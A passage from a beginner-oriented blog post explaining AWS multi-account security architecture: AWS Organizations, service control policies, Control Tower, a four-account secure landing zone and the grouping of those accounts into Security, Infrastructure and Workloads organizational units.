Organizations and how it simplifies the management of multi-account architectures.\nGrouping and managing multi-account organization IT professionals like to group assets because it makes management and governance easier. That&rsquo;s why AWS recommends having users in user groups and attaching security policies to a group instead of directly to users. It is similar in accounts; we need to have the opportunity to group them logically and apply policies. To achieve our goals, AWS offers a service named AWS Organizations, which we can use, and it&rsquo;s free, by the way. AWS Organizations is an account management service that enables you to consolidate multiple AWS accounts into an organization that you create and centrally manage. AWS Organizations includes account management and consolidated billing capabilities that enable you to better meet the budgetary, security, and compliance needs of your business. As an administrator of an organization, you can create accounts in your organization and invite existing accounts to join the organization.\nRegardless of numerous recommendations on how to organize your accounts and structure your organization, the question still arises in some situations. In the following sections, I will provide you with a blueprint from the SRA, but remember, the core mindset is resource-based grouping. For example, as mentioned before, the account is a box of resources, and with the help of AWS Organizations OUs, we have to group the same resource boxes, in this case, the same resource-based accounts. You will achieve a cleaner architecture when you group based on the same resource accounts instead of grouping them based on users, teams, or your company structure. When you group based on the same resource account, you can deploy more robust and effective Service Control Policies (SCPs). Service Control Policies (SCPs) are a type of organizational policy that you can use to manage permissions in your organization. SCPs offer central control over the maximum available permissions for the IAM users and IAM roles in your organization. SCPs help you ensure your accounts stay within your organization\u2019s access control guidelines.\nManaging the AWS Organization service can be tedious because it requires manual effort in many areas. For this reason, AWS offers a service named AWS Control Tower, which utilizes services like AWS Organizations, AWS IAM Identity Center, AWS Config, and perhaps more that I don&rsquo;t remember right now. AWS Control Tower provides a straightforward way to set up and govern an AWS multi-account environment, following prescriptive best practices. Resources are set up and managed on your behalf. I recommend using this service at the beginning of your cloud journey because it establishes a basic security landing zone where you can align with the following guidelines of security architecture.\nOrganization Units AWS Organizations is a service that helps you centrally manage and govern your AWS environment. It enables you to centrally manage and govern multiple AWS accounts. Within AWS Organizations, you can organize these accounts into organizational units (OUs). By structuring your AWS accounts into organizational units, you can more effectively manage your resources, control access to services and resources, and apply policies consistently across multiple accounts. This helps improve security, compliance, and cost management within your AWS environment.\nFirst four account for your secure landing zone A Secure Landing Zone (SLZ) is a foundational environment in AWS that is designed with security best practices in mind. It serves as a secure and compliant starting point for hosting applications and workloads in the cloud. My recomendation is to have at least four account in the begining: Org Management account, Security Tooling account, Network account and Application account.\nDescriptions for the following accounts come from The AWS Security Reference Architecture. For more in-depth information, please visit The AWS Security Reference Architecture documentation.\nThe management account, trusted access, and delegated administrators The management account (also called the AWS Organization Management account or Org Management account) is unique and differentiated from every other account in AWS Organizations. It is the account that creates the AWS organization. From this account, you can create AWS accounts in the AWS organization, invite other existing accounts to the AWS organization (both types are considered member accounts), remove accounts from the AWS organization, and apply IAM policies to the root, OUs, or accounts within the AWS organization.\nThe management account deploys universal security guardrails through SCPs and service deployments (such as AWS CloudTrail) that will affect all member accounts in the AWS organization. To further restrict permissions in the management account, those permissions can be delegated to another appropriate account, such as a security account, where possible.\nThe management account has the responsibilities of a payer account and is responsible for paying all charges that are accrued by the member accounts. You cannot switch an AWS organization&rsquo;s management account. An AWS account can be a member of only one AWS organization at a time.\nBecause of the functionality and scope of influence the management account holds, we recommend that you limit access to this account and grant permissions only to roles that need them. Two features that help you do this are trusted access and delegated administrator. You can use trusted access to enable an AWS service that you specify, called the trusted service, to perform tasks in your AWS organization and its accounts on your behalf. This involves granting permissions to the trusted service but does not otherwise affect the permissions for IAM entities. You can use trusted access to specify settings and configuration details that you would like the trusted service to maintain in your AWS organization&rsquo;s accounts on your behalf.\nSome AWS services support the delegated administrator feature in AWS Organizations. With this feature, compatible services can register an AWS member account in the AWS organization as an administrator for the AWS organization&rsquo;s accounts in that service. This capability provides flexibility for different teams within your enterprise to use separate accounts, as appropriate for their responsibilities, to manage AWS services across the environment. The AWS security services in the AWS SRA that currently support delegated administrator include AWS IAM Identity Center (successor to AWS Single Sign-On), AWS Config, AWS Firewall Manager, Amazon GuardDuty, AWS IAM Access Analyzer, Amazon Macie, AWS Security Hub, Amazon Detective, AWS Audit Manager, Amazon Inspector, and AWS Systems Manager. Use of the delegated administrator feature is emphasized in the AWS SRA as a best practice, and we delegate administration of security-related services to the Security Tooling account.\nSecurity Tooling account In the context of AWS services, this account is used to provide centralized delegated admin access to AWS security tooling and consoles, as well as provide view-only access for investigative purposes into all accounts in the organization. The security tooling account should be restricted to authorized security and compliance personnel and related security. This account is an aggregation point (or points for organizations that split the functionality across multiple accounts) for AWS security services, including AWS Security Hub, Amazon GuardDuty, Amazon Macie, AWS AppConfig, AWS Firewall Manager, Amazon Detective, Amazon Inspector, and IAM Access Analyzer.\nThe Security Tooling account is dedicated to operating security services, monitoring AWS accounts, and automating security alerting and response. The security objectives include the following:\nProvide a dedicated account with controlled access to manage access to the security guardrails, monitoring, and response. Maintain the appropriate centralized security infrastructure to monitor security operations data and maintain traceability. Detection, investigation, and response are essential parts of the security lifecycle and can be used to support a quality process, a legal or compliance obligation, and for threat identification and response efforts. Further support a defense-in-depth organization strategy by maintaining another layer of control over appropriate security configuration and operations such as encryption keys and security group settings. This is an account where security operators work. Read-only\/audit roles to view AWS organization-wide information are typical, whereas write\/modify roles are limited in number, tightly controlled, monitored, and logged. Network account The Network account serves as the central hub for your network within your AWS Organization. You can manage your networking resources and route traffic between accounts in your environment, your on-premises, and egress\/ingress traffic to the internet. Within this account, your network administrators can manage and build security measures to protect network traffic across your cloud environment.\nThe Network account manages the gateway between your application and the broader internet. It is important to protect that two-way interface. The Network account isolates the networking services, configuration, and operation from the individual application workloads, security, and other infrastructure. This arrangement not only limits connectivity, permissions, and data flow, but also supports separation of duties and least privilege for the teams that need to operate in these accounts. By splitting network flow into separate inbound and outbound virtual private clouds (VPCs), you can protect sensitive infrastructure and traffic from undesired access. The inbound network is generally considered higher risk and deserves appropriate routing, monitoring, and potential issue mitigations. These infrastructure accounts will inherit permission guardrails from the Org Management account and the Infrastructure OU. Networking (and security) teams manage the majority of the infrastructure in this account.\nApplication account The Application account hosts the primary infrastructure and services to run and maintain an enterprise application. The Application account and Workloads OU serve a few primary security objectives. First, you create a separate account for each application to provide boundaries and controls between workloads so that you can avoid issues of comingling roles, permissions, data, and encryption keys. You want to provide a separate account container where the application team can be given broad rights to manage their own infrastructure without affecting others. Next, you add a layer of protection by providing a mechanism for the security operations team to monitor and collect security data. Employ an organization trail and local deployments of account security services (Amazon GuardDuty, AWS Config, AWS Security Hub, Amazon EventBridge, AWS IAM Access Analyzer), which are configured and monitored by the security team. Finally, you enable your enterprise to set controls centrally. You align the application account to the broader security structure by making it a member of the Workloads OU through which it inherits appropriate service permissions, constraints, and guardrails.\nSecurity OU, Infrastructure OU, Workloads OU In this chapter, let&rsquo;s group the previously described accounts. I will show which organization unit each account belongs to (management account does not need OU).\nSecurity OU The Security OU is a foundational OU. Your security organization should own and manage this OU along with any child OUs and associated accounts. You create Security Tooling account in the Security OU. A default deployment of AWS Control Tower will create a Log Archive and Audit (also referred to as Security Tooling) accounts.\nInfrastructure OU The Infrastructure OU is a foundational OU that is intended to contain infrastructure services. The accounts in this OU are also considered administrative and your infrastructure and operations teams should own and manage this OU, any child OUs, and associated accounts. The Infrastructure OU is used to hold AWS accounts containing AWS infrastructure resources that are shared, utilized by, or used to manage accounts in the organization. This includes centralized operations or monitoring of your organization. No application accounts or application workloads are intended to exist within this OU. Common use cases for this OU include accounts to centralize management of resources. For example, a Network account might be used to centralize your AWS network, or an Operations Tooling account to centralize your operational tooling. You create Network account in the Infrastructure OU.\nIn most cases, given the way most AWS Organization integrated services interact with the accounts within the Infrastructure OU, it does not generally make sense to have production and non-production variants of these accounts within the Infrastructure OU. In situations where non-production accounts are required, these workloads should be treated like any other application and placed in an account within the appropriate Workloads OU corresponding with the non-production phase of the SDLC (Dev OU or Test OU).\nWorkloads OU The Workloads OU is intended to house most of your business-specific workloads including both production and non-production environments. These workloads can be a mix of commercial off-the-shelf (COTS) applications and your own internally developed custom applications and data services. Workloads in this OU often include shared application and data services that are used by other workloads. You create Application account in the Workloads OU.\nConclusion In conclusion, understanding AWS cloud security architecture is crucial for ensuring the protection of resources and data in the cloud environment. This blog post has provided a beginner-friendly overview, introducing key concepts such as the AWS Security Reference Architecture (AWS SRA), multi-account strategy, and the role of AWS Organizations in managing accounts efficiently.\nBy emphasizing the importance of resource isolation and collaboration through best practices, the post highlights the significance of structuring AWS accounts logically and deploying robust security measures. The recommended Secure Landing Zone (SLZ) framework, consisting of Org Management, Security Tooling, Network, and Application accounts, serves as a foundational setup for building a secure AWS environment.\nFurthermore, the concept of organizational units (OUs) within AWS Organizations offers a structured approach to account management, allowing for consistent application of security policies across multiple accounts.\nOverall, this post provides a foundational understanding of AWS cloud security architecture, laying the groundwork for beginners to navigate and implement security best practices effectively in their AWS environments. With a solid understanding of these principles, users can embark on their cloud security journey with confidence, knowing they have the tools and knowledge to protect their assets in the cloud effectively.\nReferences AWS Security Reference Architecture Organizing Your AWS Environment Using Multiple Accounts AWS Security Reference Architecture: Visualize your security - Mohamed Wali - NDC Security 2024 AWS re:Inforce 2023 - Plan and deploy your own security architecture based on the AWS SRA (GRC307) AWS re:Invent 2022 - Revitalize your security with the AWS Security Reference Architecture (SEC203) AWS re:Invent 2021 - AWS Security Reference Architecture: Visualize your security AWS re:Invent 2018: Architecting Security &amp; Governance across your AWS Landing Zone (SEC303-R1) ","permalink":"https:\/\/giomke.github.io\/posts\/sra\/","summary":"<h1 id=\"aws-security-baseline-architecture\">AWS security baseline architecture<\/h1>\n<p><img alt=\"image\" loading=\"lazy\" src=\"\/posts\/sra\/images\/1.png\"><\/p>\n<h2 id=\"introduction\">Introduction<\/h2>\n<p>Hi there in this blog post, we will talk about AWS cloud security architecture from a thousand-foot View. This blog post is meant for absolute beginners in the cloud security journey. We will discuss how we can achieve perfect isolation of resources and collaboration with each other by following best practices and recommended guides.<\/p>\n<p>AWS offers numerous security-related resources, including posts, whitepapers, and guides, as well as two major frameworks: the Cloud Adoption Framework (CAF) and the Well-Architected Framework.\nHowever, the abundance of information can make AWS security seem complex and confusing for beginners like myself, and possibly like you. It&rsquo;s likely that AWS developed the AWS Security Reference Architecture (AWS SRA) in response to this confusion. As its name suggests, the SRA organizes best practices, whitepapers, and guidelines into a cohesive framework, making them easier to follow and implement. According to Amazon, the SRA provides a holistic set of guidelines for deploying AWS security services in a multi-account environment. Before diving into the details of the SRA, let&rsquo;s first understand why a multi-account strategy is necessary and why prioritizing security services matters.<\/p>","title":"AWS security baseline architecture"}]